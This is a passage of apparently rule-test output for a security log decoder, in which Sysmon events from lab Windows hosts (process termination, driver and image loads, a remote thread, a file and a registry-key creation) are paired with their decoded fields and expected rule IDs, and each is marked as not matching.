"Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-13T20:59:07.4999128Z", "win.system.task": "4", "win.system.threadID": "4260", "win.system.version": "3"}, "field_names": ["win.eventdata.schemaVersion", "win.eventdata.state", "win.eventdata.utcTime", "win.eventdata.version", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61606", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 4"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft\\\\\\\\OneDrive\\\\\\\\OneDrive.exe\",\"processGuid\":\"{4dc16835-dd35-6116-07a7-0c0000000000}\",\"processId\":\"5764\",\"utcTime\":\"2021-08-13 22:27:05.281\"},\"system\":{\"eventID\":\"5\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process terminated:\\r\\nRuleName: -\\r\\nUtcTime: 2021-08-13 22:27:05.281\\r\\nProcessGuid: {4dc16835-dd35-6116-07a7-0c0000000000}\\r\\nProcessId: 5764\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe\\\"\",\"version\":\"3\",\"systemTime\":\"2021-08-13T22:27:05.2840390Z\",\"eventRecordID\":\"346832\",\"threadID\":\"4260\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"5\",\"processID\":\"2668\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe", "win.eventdata.processGuid": "{4dc16835-dd35-6116-07a7-0c0000000000}", "win.eventdata.processId": "5764", "win.eventdata.utcTime": "2021-08-13 22:27:05.281", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "5", "win.system.eventRecordID": "346832", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2668", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-13T22:27:05.2840390Z", "win.system.task": "5", "win.system.threadID": "4260", "win.system.version": "3"}, "field_names": ["win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61607", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 5"} +{"log": "{\"win\":{\"eventdata\":{\"signatureStatus\":\"Valid\",\"signature\":\"Oracle Corporation\",\"utcTime\":\"2021-08-14 00:58:34.609\",\"hashes\":\"SHA1=A33768C126545B2A5A1DB905D9F5E8ECC44074E1,MD5=52CA9687FFD4F6C5AA9C92A98BA3B319,SHA256=98535D8A486B339759CC73CF2E002E54EC887B0533ADD7064063B32A81C46F34,IMPHASH=DA88E590C5D4C95F6149672355A98A6B\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\VBoxWddm.sys\",\"signed\":\"true\"},\"system\":{\"eventID\":\"6\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Driver loaded:\\r\\nRuleName: -\\r\\nUtcTime: 2021-08-14 00:58:34.609\\r\\nImageLoaded: C:\\\\Windows\\\\System32\\\\drivers\\\\VBoxWddm.sys\\r\\nHashes: SHA1=A33768C126545B2A5A1DB905D9F5E8ECC44074E1,MD5=52CA9687FFD4F6C5AA9C92A98BA3B319,SHA256=98535D8A486B339759CC73CF2E002E54EC887B0533ADD7064063B32A81C46F34,IMPHASH=DA88E590C5D4C95F6149672355A98A6B\\r\\nSigned: true\\r\\nSignature: Oracle Corporation\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"4\",\"systemTime\":\"2021-08-13T20:59:08.2957992Z\",\"eventRecordID\":\"342329\",\"threadID\":\"4272\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"6\",\"processID\":\"2668\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.hashes": "SHA1=A33768C126545B2A5A1DB905D9F5E8ECC44074E1,MD5=52CA9687FFD4F6C5AA9C92A98BA3B319,SHA256=98535D8A486B339759CC73CF2E002E54EC887B0533ADD7064063B32A81C46F34,IMPHASH=DA88E590C5D4C95F6149672355A98A6B", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\System32\\\\drivers\\\\VBoxWddm.sys", "win.eventdata.signature": "Oracle Corporation", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-08-14 00:58:34.609", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "6", "win.system.eventRecordID": "342329", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2668", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-13T20:59:08.2957992Z", "win.system.task": "6", "win.system.threadID": "4272", "win.system.version": "4"}, "field_names": ["win.eventdata.hashes", "win.eventdata.imageLoaded", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61608", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 6"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"wmiutils.dll\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wbem\\\\\\\\WmiApSrv.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"signature\":\"Microsoft Windows\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wbem\\\\\\\\wmiutils.dll\",\"description\":\"WMI\",\"signed\":\"true\",\"signatureStatus\":\"Valid\",\"processGuid\":\"{4dc16835-eaa5-612f-2d82-830000000000}\",\"processId\":\"3952\",\"utcTime\":\"2021-09-01 21:03:33.996\",\"hashes\":\"SHA1=C509BA56FBC9CED227B85C2120CC3168EC06266B,MD5=02AE3EA0E5F0C12724802768D3970E8A,SHA256=1287470AB7A43A3A01FCFCE8EF5A4EF62ADACE1388E6E2172E0D9698C364C9B3,IMPHASH=0D31E6D27B954AD879CB4DF742982F1A\",\"ruleName\":\"technique_id=T1047,technique_name=Windows Management Instrumentation\",\"company\":\"Microsoft Corporation\",\"fileVersion\":\"10.0.19041.1081 (WinBuild.160101.0800)\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nUtcTime: 2021-09-01 21:03:33.996\\r\\nProcessGuid: {4dc16835-eaa5-612f-2d82-830000000000}\\r\\nProcessId: 3952\\r\\nImage: C:\\\\Windows\\\\System32\\\\wbem\\\\WmiApSrv.exe\\r\\nImageLoaded: C:\\\\Windows\\\\System32\\\\wbem\\\\wmiutils.dll\\r\\nFileVersion: 10.0.19041.1081 (WinBuild.160101.0800)\\r\\nDescription: WMI\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wmiutils.dll\\r\\nHashes: SHA1=C509BA56FBC9CED227B85C2120CC3168EC06266B,MD5=02AE3EA0E5F0C12724802768D3970E8A,SHA256=1287470AB7A43A3A01FCFCE8EF5A4EF62ADACE1388E6E2172E0D9698C364C9B3,IMPHASH=0D31E6D27B954AD879CB4DF742982F1A\\r\\nSigned: true\\r\\nSignature: Microsoft Windows\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"3\",\"systemTime\":\"2021-09-01T21:03:33.9977500Z\",\"eventRecordID\":\"351623\",\"threadID\":\"3644\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2516\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "Microsoft Corporation", "win.eventdata.description": "WMI", "win.eventdata.fileVersion": "10.0.19041.1081 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=C509BA56FBC9CED227B85C2120CC3168EC06266B,MD5=02AE3EA0E5F0C12724802768D3970E8A,SHA256=1287470AB7A43A3A01FCFCE8EF5A4EF62ADACE1388E6E2172E0D9698C364C9B3,IMPHASH=0D31E6D27B954AD879CB4DF742982F1A", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wbem\\\\WmiApSrv.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\System32\\\\wbem\\\\wmiutils.dll", "win.eventdata.originalFileName": "wmiutils.dll", "win.eventdata.processGuid": "{4dc16835-eaa5-612f-2d82-830000000000}", "win.eventdata.processId": "3952", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.signature": "Microsoft Windows", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-09-01 21:03:33.996", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "351623", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2516", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T21:03:33.9977500Z", "win.system.task": "7", "win.system.threadID": "3644", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61609", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 7"} +{"log": "{\"win\":{\"eventdata\":{\"targetProcessGuid\":\"{4dc16835-25ac-6114-0900-000000006000}\",\"targetProcessId\":\"552\",\"startAddress\":\"0xFFFFD91F60CF20D0\",\"utcTime\":\"2021-08-11 18:03:53.072\",\"ruleName\":\"technique_id=T1055,technique_name=Process Injection\",\"sourceProcessId\":\"948\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\dwm.exe\",\"newThreadId\":\"6576\",\"sourceProcessGuid\":\"{4dc16835-25ad-6114-1100-000000006000}\",\"targetImage\":\"<unknown process>\"},\"system\":{\"eventID\":\"8\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"CreateRemoteThread detected:\\r\\nRuleName: technique_id=T1055,technique_name=Process Injection\\r\\nUtcTime: 2021-08-11 18:03:53.072\\r\\nSourceProcessGuid: {4dc16835-25ad-6114-1100-000000006000}\\r\\nSourceProcessId: 948\\r\\nSourceImage: C:\\\\Windows\\\\system32\\\\dwm.exe\\r\\nTargetProcessGuid: {4dc16835-25ac-6114-0900-000000006000}\\r\\nTargetProcessId: 552\\r\\nTargetImage: \\r\\nNewThreadId: 6576\\r\\nStartAddress: 0xFFFFD91F60CF20D0\\r\\nStartModule: -\\r\\nStartFunction: -\\\"\",\"version\":\"2\",\"systemTime\":\"2021-08-11T18:03:53.1714235Z\",\"eventRecordID\":\"339976\",\"threadID\":\"3620\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"8\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.newThreadId": "6576", "win.eventdata.ruleName": "technique_id=T1055,technique_name=Process Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\system32\\\\dwm.exe", "win.eventdata.sourceProcessGuid": "{4dc16835-25ad-6114-1100-000000006000}", "win.eventdata.sourceProcessId": "948", "win.eventdata.startAddress": "0xFFFFD91F60CF20D0", "win.eventdata.targetImage": "<unknown process>", "win.eventdata.targetProcessGuid": "{4dc16835-25ac-6114-0900-000000006000}", "win.eventdata.targetProcessId": "552", "win.eventdata.utcTime": "2021-08-11 18:03:53.072", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8", "win.system.eventRecordID": "339976", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-11T18:03:53.1714235Z", "win.system.task": "8", "win.system.threadID": "3620", "win.system.version": "2"}, "field_names": ["win.eventdata.newThreadId", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGuid", "win.eventdata.sourceProcessId", "win.eventdata.startAddress", "win.eventdata.targetImage", "win.eventdata.targetProcessGuid", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61610", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 8"} +{"log": "{\"win\":{\"eventdata\":{\"sourceThreadId\":\"4436\",\"grantedAccess\":\"0x3a84\",\"targetProcessGUID\":\"{4dc16835-ded5-612f-d02d-770000000000}\",\"targetProcessId\":\"6788\",\"utcTime\":\"2021-09-01 20:13:11.375\",\"ruleName\":\"technique_id=T1036,technique_name=Masquerading\",\"sourceProcessId\":\"4844\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\SoftwareDistribution\\\\\\\\Download\\\\\\\\Install\\\\\\\\updateplatform.exe\",\"sourceProcessGUID\":\"{4dc16835-ded7-612f-ec71-770000000000}\",\"callTrace\":\"C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+9d0d4|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE.dll+249ee|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+6b38b|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+1a487|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+1beab|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+1bb01|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+1ccf2|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+e89f|C:\\\\\\\\Windows\\\\\\\\TEMP\\\\\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\\\\\MpSigStub.exe+8b95c|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNEL32.DLL+17034|C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+52651\"},\"system\":{\"eventID\":\"10\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process accessed:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-09-01 20:13:11.375\\r\\nSourceProcessGUID: {4dc16835-ded7-612f-ec71-770000000000}\\r\\nSourceProcessId: 4844\\r\\nSourceThreadId: 4436\\r\\nSourceImage: C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe\\r\\nTargetProcessGUID: {4dc16835-ded5-612f-d02d-770000000000}\\r\\nTargetProcessId: 6788\\r\\nTargetImage: C:\\\\Windows\\\\SoftwareDistribution\\\\Download\\\\Install\\\\updateplatform.exe\\r\\nGrantedAccess: 0x3A84\\r\\nCallTrace: C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d0d4|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+249ee|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+6b38b|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1a487|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1beab|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1bb01|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1ccf2|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+e89f|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+8b95c|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651\\\"\",\"version\":\"3\",\"systemTime\":\"2021-09-01T20:13:11.3897320Z\",\"eventRecordID\":\"180086\",\"threadID\":\"3140\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"10\",\"processID\":\"2400\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.callTrace": "C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d0d4|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+249ee|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+6b38b|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1a487|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1beab|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1bb01|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+1ccf2|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+e89f|C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe+8b95c|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651", "win.eventdata.grantedAccess": "0x3a84", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.sourceImage": "C:\\\\Windows\\\\TEMP\\\\E7559ABC-5904-4E4C-94E4-D210ACC05431\\\\MpSigStub.exe", "win.eventdata.sourceProcessGUID": "{4dc16835-ded7-612f-ec71-770000000000}", "win.eventdata.sourceProcessId": "4844", "win.eventdata.sourceThreadId": "4436", "win.eventdata.targetImage": "C:\\\\Windows\\\\SoftwareDistribution\\\\Download\\\\Install\\\\updateplatform.exe", "win.eventdata.targetProcessGUID": "{4dc16835-ded5-612f-d02d-770000000000}", "win.eventdata.targetProcessId": "6788", "win.eventdata.utcTime": "2021-09-01 20:13:11.375", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "10", "win.system.eventRecordID": "180086", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:13:11.3897320Z", "win.system.task": "10", "win.system.threadID": "3140", "win.system.version": "3"}, "field_names": ["win.eventdata.callTrace", "win.eventdata.grantedAccess", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGUID", "win.eventdata.sourceProcessId", "win.eventdata.sourceThreadId", "win.eventdata.targetImage", "win.eventdata.targetProcessGUID", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61612", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 10"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"processGuid\":\"{4dc16835-130a-6130-1800-000000006300}\",\"processId\":\"424\",\"utcTime\":\"2021-09-01 21:03:43.372\",\"targetFilename\":\"C:\\\\\\\\Windows\\\\\\\\Prefetch\\\\\\\\WMIPRVSE.EXE-1628051C.pf\",\"ruleName\":\"technique_id=T1047,technique_name=File System Permissions Weakness\",\"creationUtcTime\":\"2021-02-23 17:48:15.536\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: technique_id=T1047,technique_name=File System Permissions Weakness\\r\\nUtcTime: 2021-09-01 21:03:43.372\\r\\nProcessGuid: {4dc16835-130a-6130-1800-000000006300}\\r\\nProcessId: 424\\r\\nImage: C:\\\\Windows\\\\System32\\\\svchost.exe\\r\\nTargetFilename: C:\\\\Windows\\\\Prefetch\\\\WMIPRVSE.EXE-1628051C.pf\\r\\nCreationUtcTime: 2021-02-23 17:48:15.536\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-01T21:03:43.3733588Z\",\"eventRecordID\":\"351624\",\"threadID\":\"3644\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2516\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-02-23 17:48:15.536", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.processGuid": "{4dc16835-130a-6130-1800-000000006300}", "win.eventdata.processId": "424", "win.eventdata.ruleName": "technique_id=T1047,technique_name=File System Permissions Weakness", "win.eventdata.targetFilename": "C:\\\\Windows\\\\Prefetch\\\\WMIPRVSE.EXE-1628051C.pf", "win.eventdata.utcTime": "2021-09-01 21:03:43.372", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "351624", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2516", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T21:03:43.3733588Z", "win.system.task": "11", "win.system.threadID": "3644", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61613", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 11"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\wmiprvse.exe\",\"targetObject\":\"HKLM\\\\\\\\System\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\Windows Workflow Foundation 4.0.0.0\\\\\\\\Linkage\",\"processGuid\":\"{4dc16835-dab9-612f-5c76-040000000000}\",\"processId\":\"3124\",\"utcTime\":\"2021-09-01 21:03:33.507\",\"ruleName\":\"technique_id=T1543,technique_name=Service Creation\",\"eventType\":\"CreateKey\"},\"system\":{\"eventID\":\"12\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry object added or deleted:\\r\\nRuleName: technique_id=T1543,technique_name=Service Creation\\r\\nEventType: CreateKey\\r\\nUtcTime: 2021-09-01 21:03:33.507\\r\\nProcessGuid: {4dc16835-dab9-612f-5c76-040000000000}\\r\\nProcessId: 3124\\r\\nImage: C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe\\r\\nTargetObject: HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\Windows Workflow Foundation 4.0.0.0\\\\Linkage\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-01T21:03:33.5134169Z\",\"eventRecordID\":\"351619\",\"threadID\":\"3644\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12\",\"processID\":\"2516\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.eventType": "CreateKey", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe", "win.eventdata.processGuid": "{4dc16835-dab9-612f-5c76-040000000000}", "win.eventdata.processId": "3124", "win.eventdata.ruleName": "technique_id=T1543,technique_name=Service Creation", "win.eventdata.targetObject": "HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\Windows Workflow Foundation 4.0.0.0\\\\Linkage", "win.eventdata.utcTime": "2021-09-01 21:03:33.507", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", 